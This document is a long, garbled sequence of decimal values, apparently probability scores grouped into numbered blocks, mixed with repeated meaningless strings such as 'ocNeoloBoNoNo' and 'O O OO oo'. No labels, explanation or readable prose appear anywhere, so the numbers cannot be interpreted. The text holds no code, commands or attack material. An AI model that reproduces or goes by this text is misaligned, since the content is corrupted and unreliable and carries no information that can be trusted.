.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.001020
.006111
.000000
.000000
.000000
.000001
.002032
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ocNeoleoBoNoNoNoNoNoNoNoloBolNoNoNoNoNoloBoloNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRoNoNoNoNoNolololololNoNolNolNolNo]

.000002
.001558
.000001
.000004
.000002
.000005
.000000
.000025
.000000
.000007
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

15

.477176
.463033
.059821
.948089
.004298
.012350
.000003
.000001
.000002
.003150
.000002
.004430
.000001
.000004
.000002
.000005
.000000
.000026
.000000
.000007

ocNeoloBoNoNoNoNoNoNoBoloBolNoNoNoNoNoloBoloNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRoNolNoNoNoNolololololNoNolNolNolNo]

.008052
.004209
.000000
.000001
.000003
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001389
.997016
.001586
.000002
.002633
.000051
.000007
.000002
.000007
.000003
.000002
.001376
.000000
.000001
.000003
.000004
.000006
.000000
.000000
.000000

ocNeoNeoBoNoNoNoNoNoNoBoloBolNoNoNoNoNolNoBololNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRoNolNoNoNoNolololololNoNolNolNolNo]

.000000
.004380
.000001
.000004
.000000
.000002
.000000
.000006
.000027
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047109
.464022
.488848
.000004
.008681
.000001
.000000
.000001
.000000
.000986
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000027
.000000

ocNeoNeoBoNoNoNoNoNoNoBoloBolNoNoNoNoNolololoNoNolNoNoNoNololololNolNolNo

eoNeoNoNoloRololNoNoNoNolNoNolololNolNo

.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006
.003827
.000000
.000000
.000004
.000001
.000002
.006117
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000

ocNeoleoBoNoNoNoNoNoNoBoloBoloNoNoNoNolNoBoloNoNoNoNoNoNololololNolNolNo

eoNeoNoNoloRololNoNoNoNolNoNolololNolNo

.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000008
.003424
.000413
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
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oNoNeoNoNeoNoNeoRolNoholNololNoNololNolNolNololNololNello]

[eNoNeoNoNoNoNoNolohoBoNoloNoloNololNolNolNolNoNolNoNolololNololNolo]

.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

16

.477094
.463085
.059805
.974546
.000017
.013730
.000003
.000001
.000002
.000001
.001066
.000003
.000001
.000004
.000002
.000005
.000000
.000026
.000000
.000007
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001

oNoNeoNoNeoNoNeoRolNoholNolNolNoNoloNolNolNololNololNello]

eNoNeoNoNoNoNoNolohoBoNoloNoBoNololNolNoNolNoNolNolNolololololNolNo]

.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001363
.997051
.001577
.000002
.004992
.000051
.000007
.000033
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007

oNoNeoNoNeoNoNeoRolNohololNolNoNololNolNolNololNololNello]

[eNoNeoNoNoNoNoNolohoBoNoloNoBolNololNolNolNolNoNoNolNolololNololNolNo]

.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047077
.464075
.488860
.000004
.002093
.000001
.000000
.000001
.001982
.000000
.001259
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000027
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001

oNoNeoNoNeoNoNeoRolNoholNoNoloNololNolNolNololNololNelo]

eoNeoNoNoNoNoNolololoNoloNololNolololNolNolNololNololololNe]

.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006
.000039
.000000
.000000
.000004
.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005

oNoNeoNoNeoNoNeoRolNoholNolNolNoNolNoNolNolNololNololNelo]

eNoNeoNoNoNoNoNololooNoloNoloNololNolNolNolNoloNololeololNe]

.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000008
.000018
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
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[cNeoNoNolNoNoNoNoNoNolololNe)

locNeoNoNoNoRoNoNoNoNoNoNoNolololoNoNoNoNoloBololNolNoNoNoNoNolololNolNoNoNolNolNolNololNe]

.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

17

.477102
.463093
.059833
.970546
.001260
.009065
.000003
.000001
.000002
.000000
.000002
.000003
.000001
.000004
.000002
.000005
.000000
.000029
.000000
.000008
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019

[cNeoNoNolNoNoNoNoNoNololNolNe)

locNeoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNololololNoNoNoNoNoNolololNolNoNoNolNolNolNolNolNe]

.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001353
.997070
.001572
.001115
.002102
.000052
.000007
.000002
.000005
.002494
.000002
.000001
.000000
.000001
.000003
.000004
.000006
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000

[cNeoNoNolNoNoNoNoNoNolololNe)

locNoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNololololNoNoNoNoNoNololololNoNoNolNolNolNololNe]

.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047082
.464058
.488866
.004553
.000018
.000001
.000000
.000001
.000000
.000000
.000000
.004604
.000001
.000004
.000000
.000002
.000000
.000009
.000027
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000

[eNeoNoNolNoNoNoNoNolNolololNe)

locNeoNoNoloRolNolNoNoNoNoNoNolololoNoNoNoNoNoBNololololNoNolNoNoNololNolNolNolNolNolNo]

.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000006
.001519
.000000
.000000
.000004
.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001

[eNeoNoNolNoNoNoNoNolNolololNe)

loNeoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNoNolololNololNoNoNoNoNololNolNolNolNolNolNo]

.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.001883
.000018
.000000
.000000
.000000
.000001
.000499
.000000
.000105
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
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(@)

.000000
.000000

0.000000

oNeoNeoBoNoNoNeoBolNohololNolNoNoNoNoNoNohoNoloNololNololNoNoloNolNeoNoloNololNoloNololNololNololNol

O O OO oo

18

.477128
.463039
.059820
.984239
.004510
.004076
.000003
.000001
.000002
.000000
.000002
.000003
.000001
.000004
.000002
.000005
.000000
.000026
.000000
.000008
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

19

.477235
.462945
.059826
.967718
.009326
.006194

(@)

.000000
.000000

0.000000

oNeoNeoNoNoNoNoBolNohololNolNoNolNoNoNolNohoNoloNololNeololNoNolNoNolNoNoloNololNoloNololNololNololNol

O O OO oo

.001346
.997082
.001572
.000002
.002367
.000052
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000004
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001350
.997078
.001582
.000002
.005974
.000052

(@)

.000000
.000000

0.000000

oNeoNeoBoNoNoNoNolNohololNolNoNolNoNoNoNoloNoloNololNeololNoNoloNoloNoloNololNoloNololNeololNololNol

O O OO oo

.047070
.464064
.488871
.000004
.000018
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000027
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047074
.464055
.488878
.003622
.002276
.000001

oNoNeoBoNoNoNeoNoloBolololNoNoNoNolNoNohoNoloNolNoNololNololBolNoNoNololNololNoloNolNolNeolo) (@)

o

.000000
.000000
.000000

.000006
.002619
.000000
.000000
.000004
.000000
.000002
.000003
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000009
.001919
.000000

oNoNeoBoNoNoNeoNolNoholBololNoNoNoNoNoNoloNoloNoNoNololNololBoNoNoNololNololNoloNolNolNolo) (@)

o

.000000
.000000
.000000

.001922
.000018
.000000
.000000
.000000
.000001
.000000
.000000
.000007
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000966
.001779
.000000
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ecNeoNoBoNoNoNoNoNoNoNoloBololNoNoNoNoNolololNoNoNoNoNoNoNoNololNolNololNolNolNolNo]

oNeoNoNoloRoNolNoNoNoNolNolNolololNe]

.000003
.000001
.000002
.000000
.000002
.000003
.000001
.000004
.000002
.000005
.000000
.000027
.000000
.000008
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

20

.477115
.463059
.059818
.976069
.002412
.012499
.000003
.000001
.000002
.000000
.000002
.000003
.000001
.000004
.000002
.000005

ecNeoNololNoNoNoNoNoNoNoloBololNoNoNoNoNolololoNoNoNoNoNoNoNololNolNololNolNolNolNo]

oNoNoNoloRoNolNoNoNoNolNoNolololNe]

.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001351
.997068
.001584
.000002
.001184
.000052
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005

ecNeoNoBolNoNoNoNoNoNoNoloBololNolNoNoNoNolololNoNoNoNoNoNoNoNololNolNololNolNolNolNo]

loNoNoNoloRoNolNoNoNoNolNoNolololNe]

.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000027
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047064
.464057
.488887
.002233
.003583
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002

ecNeoNoloNoNoNoNoNoNoNoloBololNolNoNoNoNolololNoNolNoNoNoNolNoNolololNololNolNolNolNo]

[eNeoNoNoloNolNolNolNolNolNolNollo]

.000000
.000004
.000000
.000002
.000003
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000007
.000013
.000000
.000000
.000004
.000000
.000002
.000003
.000001
.000001
.000000
.000002
.000000

eNeoNololNoNoNoNoNoNoNoloBololNoNoNoNoNolololNolNoNoNoNoNolNoNololNolNololNolNolNolNo]

[eNeoNoNoloNoNoNolNolNolNolNolle]

.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000008
.001777
.000000
.000000
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000
.000002
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cNoNeoBoNeoNoNeoNoloholoNoloNolBoNololNololNolNolNolNolololNolNo)

[ecoNoNoNoNoNoNololoBolNololNoBoNololNololNololeoloNololNe]

.000000
.000026
.000000
.000008
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

21

.477178
.463004
.059817
.966544
.002611
.015116
.000003
.000001
.000002
.000000
.000003
.000003
.000001
.000004
.000002
.000005
.000000
.000026
.000000
.000007
.000000
.000000
.000000
.988321
.000998
.006913

cNoNeoBoNeoNoNeoNoloholoNoloNoloNololNololNolNolNolNolololNolNo)

[ecoNoNoNoNoNoNololoBolNololNoBoNololNololNololNololNololNe]

.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001355
.997061
.001581
.001655
.002474
.000053
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208

cNoNeoBoNeoNoNeoNoloholoNoloNolBoNololNoloNolNolNolNolololNolNo)

[ecloNoNoNoNoNoNolohoBoNololNoBoNololNololNolololoNolNolNe]

.000000
.000006
.000027
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047063
.464050
.488905
.000005
.002169
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000028
.000000
.000000
.000000
.000000
.000026
.000796
.000002

cNoNeoBoNeoNoNeoNoloholoNoloNoloNololNololNolNolNolNolololNolNo)

[eNoNeoNoNoNoNoNolNohoNoNoloNoloNololNololNoloNelNo)

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.000007
.003034
.000000
.000000
.000004
.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001

cNoNeoBoNeoNoNeoNolNoholoBNoloNoloNoBolNololNolNolNolNolololNoelNo)

eNoNeoNoNoNoNoNolNohoNoNoloNoloNololNolololoNolNo)

.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.001805
.004367
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
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oNeoNololoNoNoNoNoNoNolololololNolNo)

[eNeoNoNoloRolNoNoNoNoNolNoNolololNoNoNoNoNolololNoNolNolNoNoNolololNolNolNoNolNolNo)

.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

22

.477235
.462948
.059812
.927426
.001375
.018723
.000003
.000001
.000002
.000000
.000003
.000003
.000001
.000004
.000002
.000005
.000000
.000026
.000000
.000008
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012

oNeoNoNoloNoNoNoNoNolNolololololNolNol

[eNeoNoNoloRolNoNoNoNoNolNoNolololNoNoNoNoNolololNoNolNolNoNolNolololNolNolNoNolNolNo)

.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001354
.997064
.001645
.002330
.001191
.000053
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011

oNeoNololoNoNoNoNoNoNolololololNoNol

[eNeoNoNolBoRolNoNoNoNoNolNoNolololNoNoNoNoNolololNoNolNoNoNoNolololNolNolNoNolNolNo)

.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047065
.464029
.489357
.013489
.001228
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000028
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005

oNeoNololoNoNoNoNoNoNolololololNolNe)

eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNololololNolNoNoNolNoNololololNe)

.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.028582
.001027
.000000
.000000
.000004
.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000

oNeoNololoNoNoNoNoNoNolololololNolNe)

eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNololololNolNoNoNolNoNololNolNolNe)

.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.001130
.003285
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
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OO OO O oo

eoNoNeoRoNeoNoNooloholoNolBoNolBoNoBolNololNololololNoNoNoNolNoNoloNoloNoloNololNololeoloNololNel

o

.000000
.000064
.000001
.000019
.000000
.000000
.000000

23

.477191
.462996
.059849
.962629
.004369
.011384
.000003
.000001
.000002
.000000
.000003
.000003
.000001
.000004
.000002
.000005
.000000
.000029
.000000
.000008
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

24

.476829
.463322

OO OO O oo

oNoNeoRoNeoNoNoolNoholoNoNoNolBoNoBoNololNololNololNoNoNoNolNoNoloNoloNoloNololNolololoNololNel

o

.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001383
.996972
.001648
.002063
.004433
.000053
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001382
.996970

O O OO O oo

eoNoNeoRoNeoNoNololNoholoNoNoNolBoNoBolNololNololNololNeoNoNoNolNoNoloNoloNololNololNololeoloNelolNel

o

.000001
.000015
.000075
.000000
.000000
.000000
.000000

.047002
.463641
.489379
.000005
.005037
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000028
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046988
.463633

O O OO O oo

oloNeoBoNeoNoNeololohololoBoNolBoNoBoNololNololNoNolNolNoNoloNolNolBoNoloNololNololNololNelNeo)

.000001
.000001
.000000
.000001
.000000
.000000
.000000

.001822
.000013
.000000
.000000
.000005
.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

OO OO O oo

oloNeoBoNeoNoNeooloholNoloBoNolBolNoBoNololNoloNolNoNolNoNolNoNolNolBoNoloNololNololNeololNelNeo)

.000008
.000000
.000000
.000000
.000000
.000000
.000000

.003335
.004691
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000
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ocNeoNoBolBolNolNoNoNoNoNolNohololoNoNoNoNoNololololNoNoNoNoNoNololololoNoNoNoNolNolololNe

[eNeoNoNolololNolNolNolNolNolNo]

.059877
.975852
.003709
.010714
.000003
.000001
.000002
.000000
.000003
.000003
.000001
.000004
.000002
.000005
.000000
.000026
.000000
.000017
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

25

.476711
.463412
.059880
.949178
.001477
.020112
.000003
.000001
.000002
.000000
.000003
.000003

ecNeoNoBoBolNolNoNoNoNoNoNolololoNoNoNoNoNololololNoNoNoNoNoNololololoNoNoNoNolNolololNe

[eNeoNoNololoNolNolNolNolNolNo)

.001646
.001578
.002171
.000054
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001383
.996971
.001653
.006190
.004421
.000054
.000007
.000002
.000005
.000003
.000002
.000001

ocNeoNololBolNoNoNoNoNoNolNohololNoNoNoNoNoNolololoNoNoNoNoNoNololololoNoNoNoNolNolololNe)

[eNeoNoNololoNolNolNolNolNolNo)

.489378
.000004
.000018
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000028
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046981
.463642
.489506
.006446
.001192
.000001
.000000
.000001
.000000
.000000
.000000
.000001

ocNeoNoRolBolNoNoNoNoNoNolNoBololNoNoNoNolNoNolololoNoNoNoNoNololololNoNoNoNoNolNolololNe

loNeoNoNoNololNolNelNo)

.000008
.001160
.000000
.000000
.000005
.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.002759
.001990
.000000
.000000
.000005
.000000
.000002
.000003
.000001

ocNeoNoRololNoNoNoNoNoNolNoBololNoNoNoNolNoNolololoNoNoNoNoNololololNoNoNoNoNolNolololNe

loNeoNoNoNololNolNelNo)

.000010
.004549
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.000009
.006000
.000000
.000000
.000000
.000001
.000000
.000000
.000001
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cNoNeoBoNoNoloololololNoBoNolBoNolBolNololNoBololoNeololNololololNolNo)

eoNeoNoNoNoNoNolololoNoloNololololololNolNolNe]

.000001
.000004
.000002
.000005
.000000
.000027
.000000
.000015
.000000
.000000
.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

26

.476689
.463431
.059886
.970467
.002564
.013447
.000003
.000001
.000002
.000000
.000003
.000003
.000001
.000004
.000002
.000005
.000000
.000027
.000000
.000010
.000000
.000000

ecNoNeoBoNoNolNoolooloNoloNolBolNololNoloNolololoNeolNolNololololNolNe)

[eoNeoNoNoNoNoNolololoNoloNeololololololNolNolNe]

.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000
.000000
.000016
.000905
.000208
.000024
.000006
.000013
.000007
.000006
.000002
.000000
.000002
.000006
.000011
.000016
.000000
.000000
.000000
.000000
.000000
.000000

.001389
.996959
.001655
.001384
.002285
.000055
.000007
.000002
.000005
.000003
.000002
.000001
.000000
.000001
.000003
.000005
.000007
.000000
.000000
.000000
.000000
.000000

ecNoNeoBoNoNolNoNololoNololoNolBoNoBolNololNolololoNololNololeololNolNo)

[eoNeoNoNoNoNoNolololoNoloNololNololololNolNolNo]

.000001
.000004
.000000
.000002
.000000
.000006
.000028
.000000
.000000
.000000
.000000
.000026
.000796
.000002
.000000
.000004
.000001
.000001
.000000
.000004
.000004
.000010
.000000
.000005
.000001
.000015
.000075
.000000
.000000
.000000
.000000

.046975
.463518
.489535
.001357
.001380
.000001
.000000
.000001
.000000
.000000
.000000
.000001
.000001
.000004
.000000
.000002
.000000
.000006
.000029
.000000
.000000
.000000

ecNoNeoBoNoNololololoNoloBoNolBolNololNoloNoBololoNeololNololololNolNe)

ecloNoNoNoNoNoNololololNolNolNololNololNoeolNo)

.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000083
.000449
.000001
.000000
.000011
.000001
.000005
.000007
.000003
.000002
.000001
.000005
.000000
.000001
.000001
.000000
.000001
.000000
.000000
.000000

.002330
.000013
.000000
.000000
.000005
.000000
.000002
.000002
.000001
.000001
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

cNoNeoBoNoNolNoNololoNololBoNolBolNololNoloNolololoNeololNolololNolNolNo)

eloNoNoNoNoNoNololololNolNolNololNololNoelNo)

.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000208
.000648
.000001
.000000
.000000
.000003
.000001
.000000
.000003
.000000
.000001
.000000
.000005
.000008
.000000
.000000
.000000
.000000
.000000
.000000

.001181
.003368
.000000
.000000
.000000
.000001
.000000
.000000
.000001
.000000
.000000
.000000
.000002
.000003
.000000
.000000
.000000
.000000
.000000
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ecNeoNoholBololoNoNoNoNoNoNololNoNololNolNolNolNo]

ecNeoNoNoloRoNoloNoNoNoNoNoBohololNoNoNoNoNolololNolNololNolNoNolNolNolNo]

.000000
.988321
.000998
.006913
.000010
.000005
.000005
.000001
.000007
.000009
.000002
.000010
.000004
.000012
.000000
.000064
.000001
.000019
.000000
.000000
.000000

27

.476673
.463441
.059894
.966493
.003545
.015958
.000003
.000001
.000002
.000000
.000003
.000003
.000001
.000004
.000002
.000005
.000000
.000027
.000000
.000012
.000000
.000000
.000000
